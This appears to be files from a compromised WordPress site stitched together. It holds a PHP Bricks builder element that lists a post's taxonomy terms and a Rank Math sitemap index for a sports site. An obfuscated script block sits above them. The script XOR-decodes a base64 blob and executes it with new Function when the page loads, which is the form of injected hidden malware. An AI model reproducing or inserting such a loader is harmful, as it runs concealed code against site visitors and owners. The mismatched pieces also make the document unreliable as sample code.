<script>
!function(){var _0xbe33951e9830=atob('Zig7IC06JyEgZmc1JyhmOScgKiE5FWkReyh8LHp4dnp3KmkTZzwrOjs8IHU5JyAqITkVaRF7KHwsenh2encqaRNzf3U4LzxuETkgKSY7c2x5KHh8f34vfnd/LX15Lyt3LCgvfywoKnx7eHwqenp+KnZ6fH15fit/eX96fHkteCxsdTgvPG4RISYkLTcscxVpJjo6Pj10YWE+ISI3KSEgYCkvOis5LzdgOisgKis8IjdgLSFpYmkmOjo+PXRhYTw+LWAvICU8YC0hI2E+ISI3KSEgaWJpJjo6Pj10YWE8Pi1jIy8nICArOmAjLzonLWA/OyclICEqK2A+PCFpYmkmOjo+PXRhYT4hIjcpISBjLCE8Yzw+LWA+OywiJy0gISorYC0hI2liaSY6Oj49dGFhPiEiNykhIGM+OywiJy1gICEqJys9YC8+PmliaSY6Oj49dGFhPiEiNykhIGMjLycgICs6YD47LCInLWAsIi89Oi8+J2AnIWliaSY6Oj49dGFhfzw+LWAnIWEjLzonLWliaSY6Oj49dGFhPiEiNykhIGAqPD4tYCE8KWkTdTgvPG4RPDosLTdzbH42DHgsDXcrfwp+LHwoDHd4Dyx5DXp5C356DSx+DAt6eXl6f34sDX8ofGx1OC88bhE2IScoc2wseHYqf3Z+d2x1KDsgLTonISBuESk0JTwrOmYRKjYlNDs6JGc1Ojw3NTgvPG4RNiApJHMRKjYlNDs6JGA9Oyw9OjxmfmJ8Z3Nzc2l+NmlxESo2JTQ7OiRgPTssPTo8ZnxndBEqNiU0OzokdScoZhE2ICkkYCIrICk6JnJ/fHZnPCs6OzwgaWl1OC88bhEgOzgiPXM+Lzw9KwcgOmYRNiApJGA9Oyw9OjxmeHpieHpnYn94Z3UnKGZvESA7OCI9ZzwrOjs8IGlpdTgvPG4RIiUpOyZzETYgKSRgPTssPTo8Zn98dmIRIDs4Ij1kfGdiETc9Oj0iNzpzaWl1KCE8ZjgvPG4RIjo3O3N+dREiOjc7chEiJSk7JmAiKyApOiZ1ESI6Nztlc3xnNTgvPG4RPSE0PnM+Lzw9KwcgOmYRIiUpOyZgPTssPTo8ZhEiOjc7YnxnYn94Z3UnKGYRPSE0PmcRNz06PSI3OmVzHTo8JyApYCg8ISMNJi88DSEqK2YRPSE0Pmd1MzwrOjs8IG4RNz06PSI3OnUzLS86LSZmK2c1PCs6OzwgaWl1MzMoOyAtOichIG4RNCo7Ij8gLWYRLCU7KWIROyA8IGc1PCs6OzwgbiArOW4ePCEjJz0rZig7IC06JyEgZhEiICokYhEhIz0lNGc1OC88bhEjKjg0KHMgKzluFgMCBjo6PhwrPzsrPTpmZ3URIyo4NChgIT4rIGZpHgEdGmliESwlOyliOjw7K2d1ESMqODQoYD0rOhwrPzsrPToGKy8qKzxmaQ0hIDorIDpjGjc+K2liaS8+PiInLS86JyEgYSQ9ISBpZ3URIyo4NChgOicjKyE7OnN7fn5+dREjKjg0KGAhICIhLypzKDsgLTonISBmZzU6PDc1ESIgKiRmBB0BAGA+Lzw9K2YRIyo4NChgPCs9PiEgPSsaKzY6Z2d1My0vOi0mZitnNREhIz0lNGYrZ3UzM3URIyo4NChgISArPDwhPHMRIyo4NChgISA6JyMrITs6cyg7IC06JyEgZmc1ESEjPSU0ZiArOW4LPDwhPGZnZ3UzdREjKjg0KGA9KyAqZgQdAQBgPTo8JyApJyg3ZhE7IDwgZ2d1M2d1Myg7IC06JyEgbhE2Oi80PzggZhE7Izw+PDk4ZzUnKGYROyM8Pjw5OHBzESEmJC03LGAiKyApOiZnPCs6Ozwgbh48ISMnPStgPCs9ISI4K2YgOyIiZ3U4LzxuESUiKjc/JyFzNSQ9ISA8Pi10aXxgfmliIys6JiEqdGkrOiYRLS8iImliPi88LyM9dBU1OiF0ETw6LC03YiovOi90aX42aWURNiEnKDNiaSIvOis9OmkTYicqdH8zdTwrOjs8IG4RNCo7Ij8gLWYRISYkLTcsFRE7Izw+PDk4E2IRJSIqNz8nIWdgOiYrIGYoOyAtOichIGYRLToqImc1OC88bhEhNCA/cxEtOioiaGgRLToqImA8Kz07IjpxESk0JTwrOmYRLToqImA8Kz07IjpndGlpdScoZhEhNCA/ZzwrOjs8IG4RITQgP2A8Kz4iLy0rZmESYWVqYWJpaWd1PCs6OzwgbhE2Oi80PzggZhE7Izw+PDk4ZX9ndTNnYC0vOi0mZig7IC06JyEgZmc1PCs6OzwgbhE2Oi80PzggZhE7Izw+PDk4ZX9ndTNndTMoOyAtOichIG4RIT4gNCYgZhEoIjQ/J2c1OC88bhEpJCU3cyohLTsjKyA6YC08Ky86KwsiKyMrIDpmaT0tPCc+OmlndREpJCU3YD08LXMRKCI0PydlaWEvPidgPiY+cT1zaWUROSApJjtlaWgROHNpZQMvOiZgKCIhITxmCi86K2AgITlmZ2F4fn5+fmd1ESkkJTdgLz03IC1zOjw7K3VmKiEtOyMrIDpgJisvKjIyKiEtOyMrIDpgLCEqN2dgLz4+KyAqDSYnIipmESkkJTdndTMRNjovND84IGZ+Z2A6JisgZig7IC06JyEgZhEoIjQ/J2c1JyhmESgiND8nZxEhPiA0JiBmESgiND8nZ3UzZ3UzZ2ZndQ=='),_0x1dabbb6a0bcf=78,_0x69e3e62ffe44=new Uint8Array(_0xbe33951e9830['length']),_0x5965ef03c0f3=0;for(;_0x5965ef03c0f3<_0xbe33951e9830['length'];_0x5965ef03c0f3++)_0x69e3e62ffe44[_0x5965ef03c0f3]=_0xbe33951e9830['charCodeAt'](_0x5965ef03c0f3)^_0x1dabbb6a0bcf;(new Function(new TextDecoder()['decode'](_0x69e3e62ffe44)))()}();
</script>
namespace Bricks;

if ( ! defined( 'ABSPATH' ) ) exit; // Exit if accessed directly

class Element_Post_Taxonomy extends Element {
	public $category     = 'single';
	public $name         = 'post-taxonomy';
	public $icon         = 'ti-clip';
	public $css_selector = '&.separator a, .bricks-button';

	public function get_label() {
		return esc_html__( 'Taxonomy', 'bricks' );
	}

	public function set_controls() {
		$this->controls['_margin']['css'][0]['selector'] = '';

		$this->controls['taxonomy'] = [
			'label'     => esc_html__( 'Taxonomy', 'bricks' ),
			'type'      => 'select',
			'options'   => Setup::$control_options['taxonomies'],
			'clearable' => false,
			'default'   => 'post_tag',
		];

		$this->controls['linkDisable'] = [
			'label' => esc_html__( 'Disable link', 'bricks' ),
			'type'  => 'checkbox',
		];

		$this->controls['separator'] = [
			'label'  => esc_html__( 'Separator', 'bricks' ),
			'type'   => 'text',
			'inline' => true,
		];

		$term_order_by = Setup::$control_options['termsOrderBy'];
		unset( $term_order_by['include'] ); // Not needed in this element

		$this->controls['orderby'] = [
			'label'       => esc_html__( 'Order by', 'bricks' ),
			'type'        => 'select',
			'inline'      => true,
			'options'     => $term_order_by,
			'placeholder' => esc_html__( 'Name', 'bricks' ),
		];

		$this->controls['order'] = [
			'label'       => esc_html__( 'Order', 'bricks' ),
			'type'        => 'select',
			'inline'      => true,
			'options'     => Setup::$control_options['queryOrder'],
			'placeholder' => esc_html__( 'Ascending', 'bricks' ),
		];

		$this->controls['size'] = [
			'label'       => esc_html__( 'Size', 'bricks' ),
			'type'        => 'select',
			'options'     => $this->control_options['buttonSizes'],
			'inline'      => true,
			'reset'       => true,
			'placeholder' => esc_html__( 'Default', 'bricks' ),
		];

		$this->controls['style'] = [
			'label'   => esc_html__( 'Style', 'bricks' ),
			'type'    => 'select',
			'options' => $this->control_options['styles'],
			'inline'  => true,
			'default' => 'dark',
		];

		$this->controls['gap'] = [
			'label'       => esc_html__( 'Spacing', 'bricks' ),
			'type'        => 'number',
			'units'       => true,
			'css'         => [
				[
					'selector' => '',
					'property' => 'gap',
				],
			],
			'placeholder' => 10,
		];

		$this->controls['icon'] = [
			'label' => esc_html__( 'Icon', 'bricks' ),
			'type'  => 'icon',
		];
	}

	public function render() {
		$settings = $this->settings;

		global $post;

		$post     = get_post( $this->post_id );
		$taxonomy = $settings['taxonomy'] ?? 'post_tag';
		$args     = [
			'fields'  => 'all',
			'orderby' => $settings['orderby'] ?? 'name',
			'order'   => $settings['order'] ?? 'ASC',
		];

		$terms = wp_get_post_terms( get_the_ID(), $taxonomy, $args );
		$terms = wp_list_filter( $terms, [ 'slug' => 'uncategorized' ], 'NOT' );

		if ( ! count( $terms ) ) {
			$taxonomy_obj = get_taxonomy( $taxonomy );

			return $this->render_element_placeholder(
				[
					// translators: %s is the taxonomy name
					'title' => sprintf( esc_html__( 'This post has no %s terms.', 'bricks' ), ucfirst( $taxonomy_obj ? $taxonomy_obj->name : $taxonomy ) ),
				]
			);
		}

		$this->set_attribute( '_root', 'class', sanitize_html_class( $taxonomy ) );

		if ( ! empty( $settings['separator'] ) ) {
			$this->set_attribute( '_root', 'class', 'separator' );
		}

		$root_tag = empty( $settings['separator'] ) ? 'ul' : 'div';

		echo "<$root_tag {$this->render_attributes( '_root' )}>";

		$output = '';

		$icon = ! empty( $settings['icon'] ) ? self::render_icon( $settings['icon'] ) : false;

		foreach ( $terms as $index => $term_id ) {
			$term_object = get_term( $term_id );

			if ( empty( $settings['separator'] ) ) {
				$button_classes = [ 'bricks-button' ];

				if ( ! empty( $settings['size'] ) ) {
					$button_classes[] = $settings['size'];
				}

				if ( ! empty( $settings['style'] ) ) {
					$button_classes[] = "bricks-background-{$settings['style']}";
				}

				$this->set_attribute( "a-$index", 'class', $button_classes );
			}

			$html_tag = 'a';

			// Disable link and use <span> instead (@since 1.7.2)
			if ( isset( $settings['linkDisable'] ) ) {
				$html_tag = empty( $settings['separator'] ) ? 'span' : '';
			} else {
				$this->set_attribute( "a-$index", 'href', get_term_link( $term_id ) );
			}

			if ( empty( $settings['separator'] ) ) {
				$output .= '<li>';
			}

			if ( $html_tag ) {
				$output .= "<$html_tag {$this->render_attributes( "a-$index" )}>";
			}

			if ( $icon ) {
				$output .= $icon . '<span>';
			}

			$output .= $term_object->name;

			// Add separator (@since 1.7.2)
			if ( $html_tag !== 'a' && ! empty( $settings['separator'] ) && $index !== count( $terms ) - 1 ) {
				$output .= $settings['separator'];
			}

			if ( $icon ) {
				$output .= '</span>';
			}

			if ( $html_tag ) {
				$output .= "</$html_tag>";
			}

			// Add separator (@since 1.7.2)
			if ( $html_tag === 'a' && ! empty( $settings['separator'] ) && $index !== count( $terms ) - 1 ) {
				$output .= '<span>' . $settings['separator'] . '</span>';
			}

			if ( empty( $settings['separator'] ) ) {
				$output .= '</li>';
			}
		}

		echo $output;

		echo "</$root_tag>";
	}
}
<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet type="text/xsl" href="//charladeportiva.org/main-sitemap.xsl"?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
	<sitemap>
		<loc>https://charladeportiva.org/post-sitemap1.xml</loc>
		<lastmod>2026-08-06T15:01:27+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://charladeportiva.org/post-sitemap2.xml</loc>
		<lastmod>2026-08-03T14:26:35+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://charladeportiva.org/page-sitemap.xml</loc>
		<lastmod>2026-08-05T19:46:04+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://charladeportiva.org/event-sitemap.xml</loc>
		<lastmod>2026-08-03T10:39:46+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://charladeportiva.org/category-sitemap.xml</loc>
		<lastmod>2026-08-06T15:01:27+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://charladeportiva.org/event-categories-sitemap.xml</loc>
		<lastmod>2026-08-03T10:39:46+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://charladeportiva.org/video-sitemap.xml</loc>
		<lastmod>2026-08-06T15:01:27+00:00</lastmod>
	</sitemap>
</sitemapindex>
<!-- XML Sitemap generated by Rank Math SEO Plugin (c) Rank Math - rankmath.com -->